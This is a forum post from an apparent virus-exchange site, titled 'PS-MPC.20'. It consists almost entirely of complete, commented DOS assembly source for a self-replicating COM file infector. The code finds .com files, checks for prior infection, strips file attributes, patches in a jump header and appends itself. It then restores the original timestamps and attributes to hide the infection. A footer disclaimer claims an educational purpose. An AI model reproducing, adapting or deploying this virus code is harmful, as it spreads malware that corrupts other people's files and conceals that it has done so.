BETA!
webmaster@virusexperts.com
Site Navigation:

 · Home · Statistics · Registration · Search · FAQ · Language ·

 Virus Experts Forums —› Source Code —› PS-MPC.20
Last poster Message


Posted: 3-Jun-2004 20:44:41

The following source code is dated:
Tue Apr 01 06:00:00 1997

Its MD5 hash is:
afa71b9be80c54aa3aa305600803c994



;******************************************************************
;* *
;* My First Virus, a simple non-overwriting COM infector *
;* *
;* by, Solomon *
;* *
;******************************************************************

.model tiny ; Memory model
.code ; Start Code
org 100h ; Start of COM file

MAIN: db 0e9h,00h,00h ; Jmp START_VIRUS

START_VIRUS proc near ; Real start of Virus
call FIND_OFFSET

; Calculate change in offset from host program.

FIND_OFFSET: pop bp ; BP holds current IP
sub bp, offset FIND_OFFSET ; Calculate net change
; Change BP to start of
; virus code

; Restore original bytes to the infected program.

lea si,[bp+ORIG_START] ; Restore original 3 bytes
mov di,100h ; to 100h, start of file
push di ; Copy 3 bytes
movsw
movsb

; Change the DTA from the default so FINDFIRST/FINDNEXT won't destroy
; original command line parameters.

lea dx,[bp+NEW_DTA] ; Point to new DTA area
call SET_DTA ; Go change it

; DOS Findfirst / Findnext services


FINDFIRST: mov ah,4eh ; DOS find first service
lea dx,[bp+COM_MASK] ; Search for any COM file
xor cx,cx ; Attribute mask
FINDNEXT: int 21h ; Call DOS to do it
jc QUIT ; Quit if there are errors
; or no more files

; Ok, if I am here, then I found a possible victim. Open the file and
; check it for previous infections.

mov ax,3d00h ; DOS Open file, read only
lea dx,[bp+NEW_DTA+30] ; Point to filename we found
int 21h ; Call DOS to do it
xchg ax,bx ; Put file handle in BX

; Check file for previous infection by checking for our presence at
; then end of the file.

mov ah,3fh ; DOS Read file
lea dx,[bp+ORIG_START] ; Save the original header
mov cx,3 ; Read 3 bytes
int 21h ; Call DOS to do it
mov ax,word ptr [bp+NEW_DTA+26] ; Put filename in AX
mov cx,word ptr [bp+ORIG_START+1] ; Jmp offset
add cx,END_VIRUS-START_VIRUS+3; Convert to filesize
cmp ax,cx ; Compare file size's
jnz INFECT_COM ; If healthy, go infect it
mov ah,3eh ; Otherwise close file and
int 21h ; try to find another victim
mov ah,4fh ; DOS find next file
jmp short FINDNEXT ; Find another file

; Restore default DTA and pass control back to original program.
; Call any activation routines here.

QUIT: mov dx,80h ; Restore original DTA
call SET_DTA ; Go change it
retn ; End Virus and start original
; Program. Remember, DI holding
; 100h was pushed on the stack.

;*** Subroutine INFECT_COM ***

INFECT_COM:

; Reset the file attributes to normal so I can write to the file

mov ax,4301h ; DOS change file attr
xor cx,cx ; Zero attributes
lea dx,[bp+NEW_DTA+30] ; Point to filename in DTA
int 21h ; Call DOS to do it

; Calculate jump offset for header of victim so it will run virus first.

mov ax,word ptr [bp+NEW_DTA+26] ; Put filesize in AX
sub ax,3 ; Subtract 3, size-jmp_code
mov word ptr [bp+JMP_OFFSET],ax ; Store new offset

; Close the file and reopen it for read/write. BX still holds file handle.

mov ah,3eh ; DOS close file
int 21h ; Call DOS to do it
mov ax,3d02h ; DOS open file, read/write
int 21h ; Call DOS to do it
xchg ax,bx ; Put file handle in BX

; Write the new header at the beginning of the file.

mov ah,40h ; DOS write to file
mov cx,3 ; Write 3 bytes
lea dx,[bp+HEADER] ; Point to the 3 bytes to write
int 21h ; Call DOS to do it

; Move to end of file so I can append the virus to it.

mov al,2 ; Select end of file
call FILE_PTR ; Go to end of file

; Append the virus to the end of the file.

mov ah,40h ; DOS write to file
mov cx,END_VIRUS-START_VIRUS ; Length of virus
lea dx,[bp+START_VIRUS] ; Start from beginning of virus
int 21h ; Call DOS to do it

; Restore the file's original timestamp and datestamp. These values were
; stored in the DTA by the Findfirst / Findnext services.

mov ax,5701h ; DOS set file date & time
mov cx,word ptr [bp+NEW_DTA+22] ; Set time
mov dx,word ptr [bp+NEW_DTA+24] ; Set date
int 21h ; Call DOS to do it

; Restore original file attributes.

mov ax,4301h ; DOS change file attr
mov cx,word ptr [bp+NEW_DTA+21] ; Get original file attr
lea dx,[bp+NEW_DTA+30] ; Point to file name
int 21h ; Call DOS

; Lastly, close the file and go back to main program.

mov ah,3eh ; DOS close file
int 21h ; Call DOS to do it
jmp QUIT ; We're done

;*** Subroutine SET_DTA ***

SET_DTA proc near
mov ah,1ah ; DOS set DTA
int 21h ; Call DOS to do it
retn ; Return
SET_DTA endp


;*** Subroutine FILE_PTR ***


FILE_PTR proc near
mov ah,42h ; DOS set read/write pointer
xor cx,cx ; Set offset move to zero
cwd ; Equivalent to xor dx,dx
int 21h ; Call DOS to do it
retn ; Return
FILE_PTR endp



; This area will hold all variables to be encrypted

COM_MASK db '*.com',0 ; COM file mask

ORIG_START db 0cdh,20h,0 ; Header for infected file

HEADER db 0e9h ; Jmp command for new header

START_VIRUS endp

END_VIRUS equ $ ; Mark end of virus code

; This data area is a scratch area and is not included in virus code.

JMP_OFFSET dw ? ; Jump offset for new header
NEW_DTA db 43 dup(?) ; New DTA location

end MAIN

 

Page loading time (sec.): 0.018
Powered by miniBB. The views expressed on this forum do not necessarily reflect the views of Virus Experts.com or any of its members. This website does not condone or support illegal activities of any kind, including, but not limited to hacking, cracking, authoring of viruses to cause harm, or exploitation of security vulnerabilties of any kind. It merely provides an alternative resource for those persons that are interested in knowing how to create, assemble, and analyze viruses and other "malware." Before using this site, please make sure you are protected by the First Amendment (U.S.) or a similar personal privacy law in your country; if not, we advise you to leave this site immediately. Virus Experts, including any of its staff, is not responsible for the non-educational misuse of any content found on this site.